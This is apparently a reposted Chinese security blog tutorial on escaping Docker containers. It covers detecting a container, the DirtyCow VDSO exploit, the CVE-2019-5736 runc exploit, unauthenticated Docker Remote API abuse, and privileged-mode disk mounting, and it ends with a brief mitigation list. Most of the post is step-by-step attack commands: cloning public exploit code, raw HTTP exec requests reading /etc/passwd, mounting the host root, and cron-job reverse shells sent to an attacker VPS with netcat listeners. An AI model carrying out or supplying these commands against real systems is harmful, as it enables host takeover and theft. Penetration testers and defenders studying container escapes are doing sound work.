HacKerQWQ的博客空间

Docker逃逸几种方法

Word count: 1.9kReading time: 7 min
2022/01/24 Share

Docker逃逸

Docker容器是使用沙盒机制,是单独的系统,理论上是很安全的,但本次通过利用Dirty Cow漏洞,再结合执行POC或EXP,就可以返回一个宿主机的高权限Shell,并拿到宿主机的root权限,可以直接操作宿主机的文件。 它从容器中逃了出来,因此我们形象的称之为Docker逃逸漏洞。

逃逸的前提是确定目前所在环境是docker环境

  1. 查找.dockerenv文件
1
ls -alh /.dockerenv

image-20220124205913955

  1. 查找系统进程的cgroup信息

    1
    cat /proc/1/cgroup

    image-20220124210944279

    如果是docker,显示:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    12:cpuset:/kubepods/burstable/podc....
    11:cpuacct,cpu:/kubepods/burstable/podc....
    10:oom:/
    9:pids:/kubepods/burstable/podc....
    8:memory:/kubepods/burstable/podc....
    7:perf_event:/kubepods/burstable/podc....
    6:hugetlb:/kubepods/burstable/podc....
    5:devices:/kubepods/burstable/podc....
    4:blkio:/kubepods/burstable/podc....
    3:net_cls:/kubepods/burstable/podc....
    2:freezer:/kubepods/burstable/podc....
    1:name=systemd:/kubepods/burstable/podc....

    如果是虚拟机或者物理机器:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    12:pids:/
    11:freezer:/
    10:hugetlb:/
    9:oom:/
    8:cpuacct,cpu:/
    7:net_cls:/
    6:blkio:/
    5:devices:/
    4:cpuset:/
    3:memory:/
    2:perf_event:/
    1:name=systemd:/

利用DirtyCow逃逸

利用前提

宿主机的内核有dirty cow漏洞

前置知识

我们要了解Docker逃逸漏洞是如何被利用的,就首先要知道VDSO

在Linux中,有一个功能:VDSO(virtual dvnamic shared object),这是一个小型共享库,能将内核自动映射到所有用户程序的地址空间。

什么是VDSO呢?

VDSO

它是一个优化性能的功能。

我们举个例子:gettimeofday是一个获取当前时间的函数,它经常被用户的程序调用,如果一个程序需要知道当前的时间,程序就会频繁的轮询。为了减少资源开销,内核需要把它放在一个所有进程都能访问的内存位置,然后通过VDSO定义一个功能来共享这个对象,让进程来访问此信息。

通过这种方式,调用的时间和资源花销就大大的降低了,速度也就变得更快。

那么如何利用VDSO来实现Docker逃逸的?

首先POC利用Dirty Cow漏洞,将Payload写到VDSO中的一些闲置内存中,并改变函数的执行顺序,使得在执行正常函数之前调用这个Shellcode

Shellcode初始化时会检测是否被root所调用,如果调用,则继续执行,如果没有调用则返回,并执行clock_gettime函数,接下来它会检测/tmp/.X文件的存在,如果存在,则这时已经是root权限了,然后它会打开一个反向的TCP链接,为Shellcode中填写的ip返回一个Shell。

漏洞就这样产生了。

漏洞利用

实验环境:利用Dirty Cow实现Docker逃逸

漏洞利用:

1
2
3
4
5
git clone https://github.com/scumjr/dirtycow-vdso.git
cd /dirtycow-vdso/
make
./0xdeadbeef #反弹shell到本地主机
./0xdeadbeef ip:port #反弹shell到指定主机的指定端口

image-20220124211208574

利用CVE-2019-5736逃逸

利用前提

通过在docker容器内重写和运行主机系统的runc二进制文件达到逃逸的目的。
利用条件为:

  1. runc版本<=1.0-rc6
  2. Docker Version < 18.09.2

漏洞利用

首先我们得有一个docker下的shell,第二步修改利用脚本中的反弹shell命令,第三步使用go build来编译脚本,第四步将脚本上传到docker中,第五步等待宿主机执行exec进入当前docker容器的时候,宿主机就会向我们的vps反弹root权限的shell。

下载利用脚本并修改

1
git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git

下图中的选中部分修改\n后面的命令为反弹shell命令即可。

在这里插入图片描述

编译脚本

1
go build main.go

在这里插入图片描述

将编译好的main文件上传到docker中
可以先上传到github然后在docker到shell中使用git clone命令即可,这里不做演示。

执行脚本并等待此docker再次被exec

1
docker exec -it test /bin/bash

如上命令的含义是进入test这个容器,当宿主机上执行exec命令来进入我们运行了脚本的容器的时候,宿主机就会反弹root权限的shell给我们的vps的监听端口,至此利用结束。

docket remote api未授权访问导致逃逸

docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。由于环境复杂,这里借用freebuf上的图片。

确定docker remote api是否可访问
直接在浏览器中输入http://ip:2375/version

在这里插入图片描述

漏洞利用
访问http://ip:2375/containers/json看是否出现以下画面:

在这里插入图片描述

创建一个包,得到返回的exec_id的参数,数据包内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188

{undefined
“AttachStdin”: true,
“AttachStdout”: true,
“AttachStderr”: true,
“Cmd”: [“cat”, “/etc/passwd”],
“DetachKeys”: “ctrl-p,ctrl-q”,
“Privileged”: true,
“Tty”: true
}

在这里插入图片描述

注意其中的cmd字段,这个就是要执行的命令。

得到exec_id参数后构造第二个exec_start数据包,内容如下:

1
2
3
4
5
6
7
8
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json

{undefined
“Detach”: false,
“Tty”: false
}

然后发送后会得到结果:

在这里插入图片描述

至此成功获取到docker主机的命令执行权限,但是还无法逃逸到宿主机。

在docker容器内安装docker作为client

1
2
apt-get install docker.io
yum -y install docker

查看宿主机的docker image信息

1
docker -H tcp://宿主机ip:2375 images

启动一个容器并且将宿主机的根目录抓再到容器的某个目录

1
docker -H tcp://宿主ip:2375 run --rm -it -v /:/test adafef2e596e /bin/bash 

上述命令的意思是将宿主机的根目录挂在到容器adafef2e596e的/test目录下

写一个计划任务反弹shell(或者写.ssh公钥都OK)

1
echo '* * * * * bash -i >& /dev/tcp/x.x.x.x/8888 0>&1' >> /test/var/spool/cron/root

在vps上使用nc命令等待反弹过来的shell

1
nc -lvp 8888

利用特权模式逃逸

漏洞原理

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

漏洞利用

查看磁盘文件

1
fdisk -l

将/dev/vda1也就是磁盘挂在到本地的任意文件下

1
2
mkdir /nuoyan
mount /dev/vda1 /nuoyan

此时这个nuoyan文件夹就相当于对方主机的根目录,可以进行写文件操作。

写入计划任务

1
echo '* * * * * bash -i >& /dev/tcp/vps的ip/8888 0>&1' >> /nuoyan/var/spool/cron/root

在vps上等待shell反连接

1
nc -lvp 8888

防止docker逃逸的方法

1、更新Docker版本到19.03.1及更高版本——CVE-2019-14271、覆盖CVE-2019-5736
2、runc版本 > 1.0-rc6
3、k8s 集群版本>1.12
4、Linux内核版本>=2.6.22——CVE-2016-5195(脏牛)
5、Linux内核版本>=4.14——CVE-2017–1000405(大脏牛),未找到docker逃逸利用过程,但存在逃逸风险
6、不建议以root权限运行Docker服务
7、不建议以privileged(特权模式)启动Docker
8、不建议将宿主机目录挂载至容器目录
9、不建议将容器以—cap-add=SYSADMIN启动,SYSADMIN意为container进程允许执行mount、umount等一系列系统管理操作,存在容器逃逸风险

转载链接

https://blog.csdn.net/qq_41874930/article/details/109216506

CATALOG
  1. 1. Docker逃逸
  2. 2. 利用DirtyCow逃逸
    1. 2.1. 利用前提
    2. 2.2. 前置知识
    3. 2.3. 漏洞利用
  3. 3. 利用CVE-2019-5736逃逸
    1. 3.1. 利用前提
    2. 3.2. 漏洞利用
  4. 4. docket remote api未授权访问导致逃逸
  5. 5. 利用特权模式逃逸
    1. 5.1. 漏洞原理
    2. 5.2. 漏洞利用
  6. 6. 防止docker逃逸的方法
  7. 7. 转载链接